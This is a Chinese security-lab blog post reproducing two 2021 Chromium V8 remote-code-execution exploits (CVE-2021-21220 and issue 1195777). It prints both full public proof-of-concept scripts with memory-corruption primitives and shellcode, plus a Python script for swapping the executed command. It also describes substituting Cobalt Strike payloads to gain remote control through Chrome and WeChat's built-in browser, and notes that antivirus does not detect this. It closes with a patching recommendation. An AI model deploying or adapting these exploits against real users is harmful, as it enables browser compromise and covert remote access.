长亭百川云 - 文章详情

2个Chromium V8 JavaScript引擎RCE测试复现和WX RCE Cobaltstrikes上线

毕方安全实验室

71

2024-07-13

记录近期爆发的2个影响Chromium内核浏览器的RCE漏洞(issus-1196683、issus-1195777)的复现和测试情况。

【2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(issue-1196683,CVE-2021-21220)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的POC。

2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue-1195777)以及Chrome 89.0.4389.114的POC视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。

Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。】

Chrome issue 1196683(CVE-2021-21220)

公开的POC:
https://github.com/r4j0x00/exploits/tree/master/chrome-0day

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])  
var wasm_mod = new WebAssembly.Module(wasm_code);  
var wasm_instance = new WebAssembly.Instance(wasm_mod);  
var f = wasm_instance.exports.main;  
  
var buf = new ArrayBuffer(8);  
var f64_buf = new Float64Array(buf);  
var u64_buf = new Uint32Array(buf);  
let buf2 = new ArrayBuffer(0x150);  
  
function ftoi(val) {  
    f64_buf[0] = val;  
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);  
}  
  
function itof(val) {  
    u64_buf[0] = Number(val & 0xffffffffn);  
    u64_buf[1] = Number(val >> 32n);  
    return f64_buf[0];  
}  
  
const _arr = new Uint32Array([2**31]);  
  
function foo(a) {  
    var x = 1;  
    x = (_arr[0] ^ 0) + 1;  
  
    x = Math.abs(x);  
    x -= 2147483647;  
    x = Math.max(x, 0);  
  
    x -= 1;  
    if(x==-1) x = 0;  
  
    var arr = new Array(x);  
    arr.shift();  
    var cor = [1.1, 1.2, 1.3];  
  
    return [arr, cor];  
}  
  
for(var i=0;i<0x3000;++i)  
    foo(true);  
  
var x = foo(false);  
var arr = x[0];  
var cor = x[1];  
  
const idx = 6;  
arr[idx+10] = 0x4242;  
  
function addrof(k) {  
    arr[idx+1] = k;  
    return ftoi(cor[0]) & 0xffffffffn;  
}  
  
function fakeobj(k) {  
    cor[0] = itof(k);  
    return arr[idx+1];  
}  
  
var float_array_map = ftoi(cor[3]);  
  
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];  
var fake = fakeobj(addrof(arr2) + 0x20n);  
  
function arbread(addr) {  
    if (addr % 2n == 0) {  
        addr += 1n;  
    }  
    arr2[1] = itof((2n << 32n) + addr - 8n);  
    return (fake[0]);  
}  
  
function arbwrite(addr, val) {  
    if (addr % 2n == 0) {  
        addr += 1n;  
    }  
    arr2[1] = itof((2n << 32n) + addr - 8n);  
    fake[0] = itof(BigInt(val));  
}  
  
function copy_shellcode(addr, shellcode) {  
    let dataview = new DataView(buf2);  
    let buf_addr = addrof(buf2);  
    let backing_store_addr = buf_addr + 0x14n;  
    arbwrite(backing_store_addr, addr);  
  
    for (let i = 0; i < shellcode.length; i++) {  
        dataview.setUint32(4*i, shellcode[i], true);  
    }  
}  
  
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));  
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));  
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];  
copy_shellcode(rwx_page_addr, shellcode);  
f();

漏洞复现:

对其中的shellcode进行int转byte操作,可以看到shellcode中打开calc.exe的命令:

以非沙盒模式(--no-sandbox)运行chrome浏览器,可以成功执行命令,弹出计算器:

如果要执行其它命令,如"notepad.exe",可以考虑用其它公众号上公开的Python代码,删除掉github上原shellcode中最后3个int,然后用python代码按照原有的形式生成notepad.exe命令,并增加到shellcode Array中,可以成功执行。

payload = b"notepad.exe"  
#去掉了calc.exe命令的shellcode  
shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216]  
#按照原shellcode格式,去除命令第一位n,把命令中剩余的otepad.exe四位一组分割  
data = [payload[max(0, i-4):i] for i in range(1, len(payload)+4, 4)]  
  
#命令中第一位与\xda\xff\xd5拼接,构成4位  
data[0] = b'\xda\xff\xd5c\x00\x00\x00\x00'[:3] + data[0]  
  
#命令中最后2位xe,用\x00\x00补齐,构成4位  
data[-1] = data[-1] + (4 - len(data[-1])) * b'\x00'  
  
#每四位用\x00补齐8位  
ret = [ _ + b'\x00\x00\x00\x00' for _ in data]  
  
#将8位byte转成int类型  
code = [int().from_bytes(_, byteorder='little', signed=True) for _ in ret]  
print("replace it to exploit.js:\nvar shellcode = [{}]".format(shellcode + code))  

Python脚本执行后如图:

将最终生成的shellcode替换到原POC的js代码中,可以实现远程命令执行:

Chrome issus 1195777

issus-195777是360的安全研究院报告的漏洞,在chrome非沙盒模式下可以进行远程命令执行,也会影响其它Chromium内核的浏览器。使用Chrome进行了测试,可以实现CS上线。漏洞发现者也在Github公开了POC。

公开的POC:

https://github.com/avboy1337/1195777-chrome0day

<script>  
    function gc() {  
        for (var i = 0; i < 0x80000; ++i) {  
            var a = new ArrayBuffer();  
        }  
    }  
    let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,  
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,  
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,  
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,  
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,  
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,  
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,  
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,  
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,  
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,  
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,  
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,  
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,  
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,  
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,  
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,  
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,  
        0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];  
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);  
    var wasmModule = new WebAssembly.Module(wasmCode);  
    var wasmInstance = new WebAssembly.Instance(wasmModule);  
    var main = wasmInstance.exports.main;  
    var bf = new ArrayBuffer(8);  
    var bfView = new DataView(bf);  
    function fLow(f) {  
        bfView.setFloat64(0, f, true);  
        return (bfView.getUint32(0, true));  
    }  
    function fHi(f) {  
        bfView.setFloat64(0, f, true);  
        return (bfView.getUint32(4, true))  
    }  
    function i2f(low, hi) {  
        bfView.setUint32(0, low, true);  
        bfView.setUint32(4, hi, true);  
        return bfView.getFloat64(0, true);  
    }  
    function f2big(f) {  
        bfView.setFloat64(0, f, true);  
        return bfView.getBigUint64(0, true);  
    }  
    function big2f(b) {  
        bfView.setBigUint64(0, b, true);  
        return bfView.getFloat64(0, true);  
    }  
    class LeakArrayBuffer extends ArrayBuffer {  
        constructor(size) {  
            super(size);  
            this.slot = 0xb33f;  
        }  
    }  
    function foo(a) {  
        let x = -1;  
        if (a) x = 0xFFFFFFFF;  
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));  
        arr.shift();  
        let local_arr = Array(2);  
        local_arr[0] = 5.1;//4014666666666666  
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8  
        arr[0] = 0x1122;  
        return [arr, local_arr, buff];  
    }  
    for (var i = 0; i < 0x10000; ++i)  
        foo(false);  
    gc(); gc();  
    [corrput_arr, rwarr, corrupt_buff] = foo(true);  
    corrput_arr[12] = 0x22444;  
    delete corrput_arr;  
    function setbackingStore(hi, low) {  
        rwarr[4] = i2f(fLow(rwarr[4]), hi);  
        rwarr[5] = i2f(low, fHi(rwarr[5]));  
    }  
    function leakObjLow(o) {  
        corrupt_buff.slot = o;  
        return (fLow(rwarr[9]) - 1);  
    }  
    let corrupt_view = new DataView(corrupt_buff);  
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);  
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;  
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;  
    let delta = baseAddr + 0x1c - idx0Addr;  
    if ((delta % 8) == 0) {  
        let baseIdx = delta / 8;  
        this.base = fLow(rwarr[baseIdx]);  
    } else {  
        let baseIdx = ((delta - (delta % 8)) / 8);  
        this.base = fHi(rwarr[baseIdx]);  
    }  
    let wasmInsAddr = leakObjLow(wasmInstance);  
    setbackingStore(wasmInsAddr, this.base);  
    let code_entry = corrupt_view.getFloat64(13 * 8, true);  
    setbackingStore(fLow(code_entry), fHi(code_entry));  
    for (let i = 0; i < shellcode.length; i++) {  
        corrupt_view.setUint8(i, shellcode[i]);  
    }  
    main();  
</script>  
  

漏洞复现及CS上线

使用Cobaltstrike生成x86_64的java类型payload,直接将shellcode替换到原POC中,就可以轻松实现CS上线,如图:

用火绒剑查看chrome的进程模块、句柄、内存dll文件等未发现异常,只有在事件查看器中能看到chromed的应用报错事件,360杀毒和火绒进行快速查杀也不会进行报毒,整个过程应该是无文件落地的,如果能配合其它漏洞绕过浏览器沙盒,应该能够成为攻击者的大杀器。

WX内置浏览器RCE,CS上线

WX内置的Chromium内核浏览器也是以--no-sandbox模式运行,受此漏洞的影响,也有人放出了,POC可以实现CS上线。经过测试,生成CS的x86的java payload,可轻松实现上线,一样不会产生任何异常,包括wx浏览器进程和日志中都未发现异常情况,同时火绒和360杀毒也不会有拦截。

最近重大项目期间,已经发现有攻击者在利用此漏洞进行猥琐的攻击了,强烈建议Windows WX PC端升级到官方发布的最新版本,可以去WX官方进行下载

参考链接:

https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html

http://180.163.237.32/chromium\_v8\_remote\_code\_execution\_vulnerability\_analysis/

https://github.com/avboy1337/1195777-chrome0day

https://github.com/r4j0x00/exploits/tree/master/chrome-0day

https://mp.weixin.qq.com/s/ForTsPPdSCLIoxuHMhbPpQ

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2